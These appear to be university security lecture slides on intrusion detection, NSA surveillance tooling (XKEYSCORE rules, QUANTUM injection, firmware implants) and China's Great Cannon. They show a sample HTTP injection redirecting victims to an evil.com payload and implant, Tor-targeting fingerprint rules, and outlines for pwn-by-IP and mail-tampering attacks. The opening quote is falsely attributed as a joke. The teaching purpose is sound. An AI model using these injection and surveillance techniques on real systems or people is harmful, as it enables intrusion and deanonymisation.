Intrusion Detection: Use and Misuse

"Mass surveillance is the elegant oppression, a panopticon without bars. Its cage is small but out of sight, behind the eyes - on the mind."

- Taylor Swift
Midterm Logistics...
Thursday November 8th, 8-10pm

• Three rooms:
  • 155 Dwinelle
  • 100 GPB
  • 2050 VLSB

• How to find your room:
  • 3rd-to-last digit of SID:
    0-3: 155 Dwinelle
    4-7: 2050 VLSB
    8-9: 100 GPB

  • No Discussion This Week
  • Bring a #2 pencil and eraser!
  • Review Session Tomorrow 4-6pm, 306 Soda Hall
Detection vs. Blocking

• If we can detect attacks, how about blocking them?

• Issues:
  • Not a possibility for retrospective analysis (e.g., nightly job that looks at logs)
  • Quite hard for detector that’s not in the data path
    • E.g. How can NIDS that passively monitors traffic block attacks?
      • Change firewall rules dynamically; forge RST packets
      • And still there’s a race regarding what attacker does before block
  • False positives get more expensive
    • You don’t just bug an operator, you damage production activity

• Today’s technology/products pretty much all offer blocking
  • Intrusion prevention systems (IPS - “eye-pee-ess”)
Can We Build An IPS That Blocks All Attacks?

The Ultimate Secure DEEP PACKET INSPECTION AND APPLICATION SECURITY SYSTEM
Featuring signature-less anomaly detection and blocking technology with application awareness and layer-7 state tracking!!

Now available in Petabyte-capable appliance form factor!!

(Formerly: The Ultimate Secure INTRUSION PREVENTION SYSTEM
Featuring signature-less anomaly detection and blocking technology!!)
An Alternative Paradigm

• Idea: rather than detect attacks, launch them yourself!
• Vulnerability scanning: use a tool to probe your own systems with a wide range of attacks, fix any that succeed

• Pros?
  • Accurate: if your scanning tool is good, it finds real problems
  • Proactive: can prevent future misuse
  • Intelligence: can ignore IDS alarms that you know can’t succeed

• Issues?
  • Can take a lot of work
  • Not so helpful for systems you can’t modify
  • Dangerous for disruptive attacks
    • And you might not know which these are …

• In practice, this approach is prudent and widely used today
  • Good complement to also running an IDS
Styles of Detection: Honeypots

• Idea: deploy a sacrificial system that has no operational purpose
• Any access is by definition not authorized …
• … and thus an intruder
  • (or some sort of mistake)

• Provides opportunity to:
  • Identify intruders
  • Study what they’re up to
  • Divert them from legitimate targets
Honeypots

- Real-world example: some hospitals enter fake records with celebrity names ...
  - ... to entrap staff who don’t respect confidentiality

- What’s nice about this approach?
  - Can detect all sorts of new threats

- What’s problematic about this approach?
  - Can be difficult to lure the attacker
  - Can be a lot of work to build a convincing environment
  - Note: both of these issues matter less when deploying honeypots for automated attacks
    - Because these have more predictable targeting & env. needs
    - E.g. “spamtraps”: fake email addresses to catching spambots

- A great honeypot: An unsecured Bitcoin wallet...
  - When your bitcoins get stolen, you know you got compromised!
Forensics

- Vital complement to detecting attacks: figuring out what happened in wake of successful attack
- Doing so requires access to rich/extensive logs
  - Plus tools for analyzing/understanding them
- It also entails looking for patterns and understanding the implications of structure seen in activity
  - An iterative process (“peeling the onion”)

Other Attacks on IDSs

- **DoS: exhaust its memory**
  - IDS has to track ongoing activity
  - Attacker generates lots of different forms of activity, consumes all of its memory
    - E.g., spoof zillions of distinct TCP SYNs …
    - … so IDS must hold zillions of connection records

- **DoS: exhaust its processing**
  - One sneaky form: algorithmic complexity attacks
    - E.g., if IDS uses a predictable hash function to manage connection records …
    - … then generate series of hash collisions

- **Code injection (!)**
  - After all, NIDS analyzers take as input network traffic under attacker’s control …
And, of course, our monitors have bugs...
Something Happened...

- A disgruntled Microsoft Sharepoint administrator in Hawaii walked out with a ton of classified documents
- Before flying to Hong Kong and ending up a guest of @DarthPutinKGB
- And more leaks since then:
  - The TAO Ant catalog + Tor XKEYSCORE rules
  - The New Zeland XKEYSCORE rules
  - NSA tasking and SIGINT summaries
  - The Shadow Brokers data dump
The NSA Tech Is Nothing Special...

• Nothing as cool as The Great Seal bug
  • AKA "The Thing"
• Instead, its mostly off-the-shelf concepts
  • Scalable NIDS & Databases
  • Hadoop
  • Malicious code
  • Cool little hardware pieces
• Combined with More Money than God™
But They Use Slightly Different Language

- **Selector**
  - A piece of information that identifies what you are looking for
    - Email address, phone #, etc…

- **Fingerprint**
  - An IDS match

- **Implant**
  - Malcode or other piece of sabotage

- **FAA 702**
  - FISA (Foreign Intelligence Surveillance Act) Amendments Act section 702:
    You aren’t a “US person”, outside the US, we can get what we want from within the US

- **EO12333**
  - You aren’t a “US person” and this is outside the US, anything goes!
Not NOBUS
(Nobody But Us)
Not About Needles
In Haystacks
Not About
Connecting the Dots
Drift Nets to Create Metadata

HTTP Request:
URL
Spotted .onion
URL: X
.doc file:
Author X

Is an Iphone?
Mojahadeen Secrets
key: X

PGP message
key: X
Pulling Threads
To Get Results
A Thread To Pull: Watching an IRC Chat

OtherDude: Hey, did you see
AnonDude: hmmm...
AnonDude: HAHAH, that's pretty funny!

Intercept captured 12/30/2011 11:32 GMT

Step 1: "Use SIGINT" (Signals Intelligence)/DNI (Digital Network Intelligence):
Enables identification of AnonDude and developing a "pattern of life" for his online behavior

Step 2: "Use CNE" (Computer Network Exploitation):
After identification, invoke "exploit by name" to take over AnonDude's computer
Start With Your Wiretaps... XKEYSCORE DEEPDIVE
How They Work: Scalable Network Intrusion Detection Systems. Yeup, exactly the same!

Do this in OpenFlow: 100 Gbps installs already done

Linear Scaling:
10x the money...
10x the bandwidth!
1u gives 1-5 Gbps

High Volume Filter

Load Balancer

NIDS Node

Is Not BitTorrent?

H(SIP, DIP)
Inside the NIDS

HTTP Request
URL = /fubar/
Host = ....

HTTP Request
URL = /baz/?id=...
ID = 1f413

Sendmail
From = someguy@
To = otherguy@

Unlike conventional NIDS you don't worry about evasion:
Anyone who wants to evade uses cryptography instead
Which NIDS To Use?

- **Bro Network Security Monitor (BSD licensee)**
  - Includes a robust suite of protocol parsers
  - Realtime operation, invokes Bro policy scripts
  - Requires seeing both sides of the traffic

- **Lockheed/Martin Vortex (GPL)**
  - Only handles the reassembly:
    Network traffic to files, then invoke separate parser programs
  - Near real-time operation:
    Bet, this is the basis for XKEYSCORE

- **Eagle GLINT by Nexa Technologies**
  - Formerly Amesys (was part of Bull)
  - Commercial "Intelligence" interception package
Tracking People Not Machines: User Identification
Tracking People, Not Machines: Cookie Linking
Homework Assignment

NOT SECRET//UCB//REL 194-30

• Assignment for advanced undergraduate class in networking
• Given this Bro IDS skeleton code build the following primitives
  • HTTP title metadata extraction
  • Username identification
  • Cookie linking

• 11 groups of 2 in the class:
  • 1 failed to complete
  • 1 did poor job (very slow, but as I never specified performance goals…)
  • 9 success
    • Including 2-3 well written ones

• Project was probably too easy…
  • The more open ended “bang on the great firewall” project was better
Bulk Recording

NSA is actually amateur hour: Bulk record is only 3-5 days, decision is “record or not”

LBNL is 3-6 months, decision includes truncation (“stop after X bytes”)
Federated Search
Using XKEYSCORE In Practice

• Primarily centered around an easy-to-use web interface
• With a lot of pre-canned search scripts for low-sophistication users
• Plus a large number of premade "fingerprints" to identify applications, usages, etc
• The unofficial user guide: https://www.documentcloud.org/documents/2116191-unofficial-xks-user-guide.html

EX: I’m looking for Mojaheden Secrets 2 use in extremist web forums:

AKA: Tell Me All The Jihobbiests With A Single Query!
XKEYSCORE Fingerprint Writing

• A mix of basic regular expressions and optional inline C++ !??!?!

• Simple rules:
  
  - `fingerprint('anonymizer/tor/bridge/tls') = ssl_x509_subject('bridges.torproject.org') or ssl_dns_name('bridges.torproject.org');`
  
  - `fingerprint('anonymizer/tor/torproject_visit') = http_host('www.torproject.org') and not(xff_cc('US' OR 'GB' OR 'CA' OR 'AU' OR 'NZ'));`

• System is "near real time":
  
  - Parse flow *completely* then check for signature matches
    • You write in a different style in a real-time system like Snort or Bro
    • Which is why I think XKEYSCORE started life as Vortex
A Richer Rule:
New Zealand spying on Solomon Island gvmt...

```python
fingerprint('document/solomons_gov/gov_documents') =

document_body
(('Memorandum by the Minister of' and 'Solomon') or
 'Cabinet of Solomon Islands' or
 ('conclusions of the' and 'solomon' and 'cabinet') or
 ('Truth and Reconciliation Commission' and 'Solomon') or
 ('TRC 'c and 'trc report' and 'Solomon') or
 ('former tension militants' and 'Malaita') or
 'malaita eagle force' or 'malaita ma\'asina forum' or
 ('MMF 'c and 'Solomon') or 'Members Rise Group' or
 'Forum Solomon Islands' or 'FSII 'c or 'Benjamin Afuga')
or

document_author(word('rqurusu' or 'ptagini' or
 'jremobatu' or 'riroga' or 'Barnabas Anga' or
 'Robert Iroga' or 'Dr Philip Tagini' or
 'Fiona Indu' or 'FSII' or 'James Remobatu' or
 'Rose Qurusu' or 'Philip Tagini'));
```
/** Database Tor bridge information extracted from confirmation emails. */
fingerprint('anonymizer/tor/bridge/email') =
email_address('bridges@torproject.org') and
email_body('https://bridges.torproject.org/') : c++

extractors: {{ bridges[] =
    /bridge\s([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}):?
([0-9]{2,4}?[^0-9])/?
}}

init: {{ xks::undefine_name("anonymizer/tor/torbridges/emailconfirmation"); }}

main: {{
    static const std::string SCHEMA_OLD = "tor_bridges";
    ...
    if (bridges) {
        ...
        xks::fire_fingerprint("anonymizer/tor/directory/bridge"); }
    return true; }};
Wiretapping Crypto…
IPSec & TLS

- Good transport cryptography messes up the NSA, but…
  - There are tricks…

- The wiretaps collect encrypted traffic and pass it off to a black-box elsewhere
  - The black box, sometime later, may come back and say “this is the key”

- Sabotage: Trojaned pRNGs, both DualEC DRBG and others

- Theft: No forward secrecy? HA, got yer certificate…

- Weak Diffie/Hellman: If you always use the same prime p…
  - It takes a lot of work to break the first handshake…
  - But the rest take a lot less effort
Wiretapping Crypto: PGP (aka the NSA’s friend)

• PGP is an utter PitA to use…
  • So it is uncommon, so any usage stands out
• It has easy to recognize headers…
  • Even when you exclude -----BEGIN PGP MESSAGE-----
• It has no forward secrecy…
  • So if you steal someone’s key you can decrypt all their messages!
• It spews metadata around…
  • Not only the email headers used to email it…
  • But also (by default) the identity of all keys which can decrypt the message
So PGP is Actually Easy(ish…)

• You can easily map who talks to whom…
  • And when, and how much data, and who is CC’ed…
    • *Never underestimate the power of traffic analysis*
  • Thus you have the entire social graph!

• You can then identify the super nodes…
  • Those who talk to lots of other people…

• And then you pwn them!
  • See later
Query Focused Datasets:
Mostly Write-Only Data with Exact Search

Site: arstechnica.com
Username: broidsrocks
Cookie: 223e77...
From IP: 10.271.13.1
Seen: 2012-12-01 07:32:24
The EPICFAIL Query Focused Database

- Tor users (used) to be dumb...
  - And would use something other than Tor Browser Bundle to access Tor
- Of course, the "normal" browser has lots of web tracking
  - Advertising, etc....
- So the EPICFAIL QFD:
  - All tracking cookies (for specified sites) seen both from a Tor exit node and from a non-Tor source
- Allows easy deanonymization of Tor users
Using the MARINA Database Interface

- Provides a GUI for doing queries to the more centralized/longer term store
- Specifically designed to provide easy ways to go “this is the guy’s email, what other email/selectors apply” among other things
- Fields include:
  - User Activity
  - Active User
  - Profile Data
  - SparklePony?!!
Use SIGINT

BBC Pageview
  ↓
Double-click Ad
  ↓
Linked User IDs
  ↓
IP Activity History (unmasked VPNs)
  ↓
AnonDude is...
  ↓
"IP Intelligence"
  ↓
AnonDude's House
Computer Network Exploitation

AirPwn - Goatse
Hacking Team

HTTP 302 FOUND
location: http://www.evil.com/pwnme.js

GET /script.js HTTP/1.1
host: www.targetdomain.com
cookie: id=iamavictim

HTTP 200 OK

GET /script.js HTTP/1.1
host: www.targetdomain.com
cookie: id=iamavictim

HTTP 302 FOUND
location: http://www.evil.com/pwnme.js

GET /pwnme.js HTTP/1.1
host: www.evil.com
cookie: id=iamavictim

HTTP 200 OK

Here's an exploit...

GET /theimplant HTTP/1.1
host: www.evil.com

NSA Eagle from the EFF
Rat from OpenClipart

AirPwn - Goatse
Hacking Team

Metasploit
Hacking Team
FinFisher

Black Market RATs
Hacking Team
FinFisher
Oh, but NSA’s QUANTUM is busted!!!

- To do it properly, you need to be quick…
  - Have to win the race
- NSA Logic:
  - Weaponize our wiretaps? Sure!
  - Use it to shoot exploits at NATO allies critical infrastructure? GO FOR IT!
  - Actually build it right? Sorry, classification rules get in the way
- Instead the QUANTUM wiretap sends a “tip” into classified space
  - Through a special (slow) one-way link called a “diode”
  - That then consults the targeting decision
  - And sends the request through another “diode” back to a “shooter” on the Internet
  - That then generates the spoofed packet
The NSA’s Malcode
Equation Group & Sauron

- Kaspersky has a nice analysis done…
- Encrypted, modular, and multi-stage design
  - Different functional sub-implants for different tasks
  - Uses an encrypted file system to resist analysis
- Some **very** cool tricks!
  - Reflash hard drive firmware to provide a bad boot block
    - So when you read it on a powered-up disk, the disk looks fine!
    - But if its ever found, “the NSA was here!” glows large
  - Likewise, modules that can reflash particular BIOSes
  - Want to gain root on a Windows box?
    - Install a signed driver that has a vulnerability
    - Then exploit that vulnerability

(TS/SI/REL) IRATEMONK provides software application persistence on desktop and laptop computers by implanting the hard drive firmware to gain execution through Master Boot Record (MBR) substitution.

(TS/SI/REL) This technique supports systems without RAID hardware that boot from a variety of Western Digital, Seagate, Maxtor, and Samsung hard drives. The supported file systems are FAT, NTFS, EXT3 and UFS.

(TS/SI/REL) Through remote access or interdiction, UNITEDRAKE, or STRAITBAZZARE are used in conjunction with SLICKERVICAR to upload the hard drive firmware onto the target machine to implant IRATEMONK and its payload (the implant installer). Once implanted, IRATEMONK’s frequency of execution (dropping the payload) is configurable and will occur when the target machine powers on.

Status: Released / Deployed. Ready for Immediate Delivery

POC: S32221, @nsa.ic.gov

Unit Cost: $0
Interdiction...

• Why bother hacking at all...
• When you can have the USPS and UPS do the job for you!
• Simply have the package shipped to an NSA building
• And then add some entertaining specialized hardware and/or software
But the NSA has No Monopoly on Cool Here…

• This is the sort of thing the NSA has…
  • A small arm controller, flash, SDRAM, and FPGA in a small package…
    • This is circa 2008 but things keep getting better
• But this is a Kinetis KL02 arm chip…
  • 32k flash, 4k ram, 32b ARM & peripherals (including Analog to Digital converters)
But the NSA is not alone: EG, the Chinese "Great Cannon"?

• The Great Cannon is a dedicated Internet attack tool probably operated by the Chinese government
  • An internet-scale selective man-in-the-middle designed to replace traffic with malicious payloads
  • Currently used to co-opt unwitting foreign visitors to Chinese web sites into participating in DDoS attacks
  • Almost certainly also has the capability to "pwn-by-IP": Launch exploits into targets' web surfing
  • "Great Cannon" is our name: the actual Chinese name remains unknown

• Structurally related to the Great Firewall, but a separate devices
The DDoS Attack on GreatFire and GitHub

- GreatFire is an anti-censorship group
  - Currently uses "Collateral Freedom": convey information through services they hope are "Too Important to Block"
  - GitHub is one such service: You can't block GitHub and work in the global tech economy
- GreatFire's CloudFront instances DDoSed between 3/16/15 and 3/26
- GreatFire's GitHub pages targeted between 3/26 and 4/8
  - GitHub now tracks referer to ignore the DoS traffic
The DDoS used Malicious JavaScript...

- JavaScript in pages would repeatedly fetch the target page with a cache-busting nonce
  - Vaguely reminiscent of Anonymous's "Low Orbit Ion Cannon" DDoS tool
- JavaScript appeared to be served "from the network"
  - Replacing advertising, social widgets, and utility scripts served from Baidu servers
- Several attributed it to the Great Firewall
  - Based on DDoS sources and "odd" TTL on injected packets
  - But it didn't really look quite right to us...
The Great Firewall: Packet Injection Censorship

• Detects that a request meets a target criteria
  • Easiest test: "Looks like a search for 'falun':
    • Falun Gong (法輪功), a banned quasi-religious organization
• Injects a TCP RST (reset) back to the requesting system
  • Then enters a ~1 minute "stateless block": Responds to all further packets with RSTs SYN/ACK PACKETS!!!
Features of the Great Firewall

- The Great Firewall is on-path
  - It can detect and inject additional traffic, but not block the real requests from the server
- It is single-sided
  - Assumes it can see only one side of the flow:
    Can send SYN, ACK, data, and get a response
- It is very stateful
  - Must first see the SYN and ACK, and reassembles out of order traffic
- It is multi-process parallel
  - ~100 independent processes that load-balance traffic
- The injected packets have a distinct side channel
  - Each process increments a counter for the TTL
  - IPIDs are also "odd" but harder to categorize
Validating that the Firewall is Still Great...

- **Easy test:**
  - `curl --header "Host: www.google.com" http://{target}/?falun`
  - Also built custom python scripts using scapy to traceroute location

- **Validated properties still hold**
  - Doesn't block the reply from the server: it only adds resets
  - Still has crazy TTLs
  - Can still traceroute to the Great Firewall
  - Still is single sided and stateful: needs SYN, ACK, data to act
    - But then goes into "stateless block" for a minute or two
The Baidu Malicious Scripts

- Baidu servers were serving a malicious script...
  - Packet with a standard JavaScript packer
    - Probably http://dean.edwards.name/packer/ with Base62 encoding
  - Payload is "keep grabbing https://github.com/greatfire and https://github.com/cn-nytimes"
    - Github quickly defanged the attack: You first have to visit another page on Github for these pages to load
  - Others quickly concluded the Great Firewall was responsible...
But The Malicious Reply For The Baidu Script Seemed "Odd"

- The injected packets had incremented TTLs and similar funky IPID sequence
  - The Great Firewall's side channel
- The second and third packets had bad ACK values and incrementing windows too
- But the dog that didn't bark:
  - No legitimate reply from the server?!??

<table>
<thead>
<tr>
<th>IP (ttl 64, id 12345)</th>
<th>Baidu &gt; us</th>
<th>[S]</th>
<th>seq 0,</th>
<th>win 8192</th>
</tr>
</thead>
<tbody>
<tr>
<td>IP (ttl 47, id 12345)</td>
<td>Baidu &gt; us</td>
<td>[S.]</td>
<td>seq 0,</td>
<td>ack 1</td>
</tr>
<tr>
<td>IP (ttl 64, id 12346)</td>
<td>Baidu &gt; us</td>
<td>[.]</td>
<td>seq 1</td>
<td>ack 1</td>
</tr>
<tr>
<td>IP (ttl 64, id 12346)</td>
<td>Baidu &gt; us</td>
<td>[P.]</td>
<td>seq 1:119</td>
<td>ack 1</td>
</tr>
<tr>
<td>IP (ttl 201, id 55896)</td>
<td>Baidu &gt; us</td>
<td>[P.]</td>
<td>seq 1:108</td>
<td>ack 119</td>
</tr>
<tr>
<td>IP (ttl 202, id 55741)</td>
<td>Baidu &gt; us</td>
<td>[P.]</td>
<td>seq 108:1132</td>
<td>ack 1</td>
</tr>
<tr>
<td>IP (ttl 203, id 55699)</td>
<td>Baidu &gt; us</td>
<td>[FP.]</td>
<td>seq 1132:1238</td>
<td>ack 1</td>
</tr>
</tbody>
</table>
The Eureka Moment: Two Fetches

- Built a custom python script using scapy
  - Connect to server
  - Send request
  - Wait 2 seconds
  - Resend the same request packet
- What happens? The real server replied!?!?
  - The first request was attacked by the cannon and replaced with a malicious payload
  - The second request passed through unmolested to the real server
    - Who's reply indicated it never received the original request!
So Now Its Time To Categorize

- Send "valid target" request split over 3 packets:
  - Ignored

- Send "Naked packets": just a TCP data payload without the initial SYN or ACK
  - May trigger response

- Send "No target than valid target"
  - Ignored

- Retry ignored request
  - Ignored (at least for a while...)

- One over from target IP
  - Ignored
Tells us the basic structure: Flow Cache and Stateless Decider

- Non data packets: Ignore
- Packets to other IPs: Ignore
- Data packet on new flow:
  Examine first packet
  - If matches target criteria AND flip-a-coin (roughly 2% chance): Return exploit and drop requesting packet
- Data packet on existing flow (flow cache): Ignore
  - Even if it decided to inject a packet on this flow
Localizing the Cannon

- Traceroute both for the cannon and for the Great Firewall
  - TTL limited data for the Cannon
  - TTL limited SYN, ACK, DATA for the firewall
- Tracerouted to two intercepted targets on different paths
  - One in China Telecom, the other in China Unacom
  - Both targets intercepted by the Cannon in the same location as the Firewall
Operational History: LBNL Time Machine

- Examine Lawrence Berkeley National Lab's Time Machine for the odd-TTL signature:
  - LBNL does a bulk record start of all connections
- Initial attack: Targeting GreatFire's "collateral freedom" domains
  - Unpacked payload, showed evidence of hand-typing (a 0 vs o typo fixed)
  - Near the end, GreatFire placed a 302 redirect on their domains to www.cac.gov.cn,
    - Makes the DOS target the Cyber Administration of China!
- Second attack: the GitHub targeting
  - Packed payload, but same basic script
Build It Yourself With OpenFlow

• Start with an OpenFlow capable switch or router

• Default rule:
  • Divert all non-empty packets where dst=target and dport=80

• Analysis engine:
  • Examine single packet to make exploitation decision
  • If no-exploit: Forward packet, whitelist flow
  • If exploit: Inject reply, whitelist flow

• Matches observed stateless and flow-cache behavior
  • Other alternative of "BGP-advertise target IP" would probably create a traceroute anomaly (which unfortunately we didn't test for at the time)
Modifying The Cannon For "Pwn By IP" targeting

- The Cannon is good for a lot more than DDoSing GitHub...
  - A nation-state MitM is a very powerful attack tool...
- Change criteria slightly: select traffic FROM targeted IP rather than to IP
  - Need to identify your target's IP address in some other means
    - Emails from your target, "benign" fishing emails, public data, etc...
- Expand the range of target scripts
  - "Looks like JavaScript" in the fetch
- Reply with "attack the browser" payload
  - Open an iframe pointing to an exploit server with your nice Flash 0-day...
- This change would likely take less than a day to implement!
Modify For "Perfect Phishing" Malicious Email from China

- Identify your target's mail server
  - `dig +mx theguylwanttohack.com`
- Intercept all traffic to your target's mail server
- Redirect to a man-in-the-middle sink server that intercepts the email
  - Able to strip STARTTLS
  - Can't tamper with DKIM, but who validates DKIM?
- Any word documents to your target? Modify to include malcode
- Then just send/receive from the cannon to forward the message on to the final server
- Really good for targeting activists and others who communicate with Chinese sources
  - A phishing .doc email is indistinguishable from a legitimate email to a human!
- I could probably prototype this in a week or two
Serious Policy Implications

- China believes they are justified in attacking those who attack the Great Firewall
  - Both DoS attacks targeted GreatFire's "Collateral Freedom" strategy of hosting counter-censorship material on "too critical to block" encrypted services
- Baidu was probably a **bigger** victim than GreatFire
  - GreatFire and Github mitigated the attack
    - GreatFire: Collateral Freedom services now block non-Chinese access, in addition to the DOS-redirection strategy
    - GitHub: Targeted pages won't load unless you visit some other page first
  - But Baidu services (and all unencrypted Chinese webservices) must be considered explicitly hostile to those outside of China
    - It **can't** be a global Internet brand
    - Note, we saw at least one injection script on qq.
Conclusion: China’s Toys

- China joined the "Lets weaponize the Internet" club
  - Direct exploit-from-the-network technology
- But they kept it running
  - Perhaps because they didn't realize we could map it...
    - The Chinese internal denial subsequently got censored within China!
  - Perhaps because they wanted us to map it!
    - They didn't need to use a man-in-the-middle for this attack: We could have had it working in a day or two using the existing Great Firewall without the MitM aspect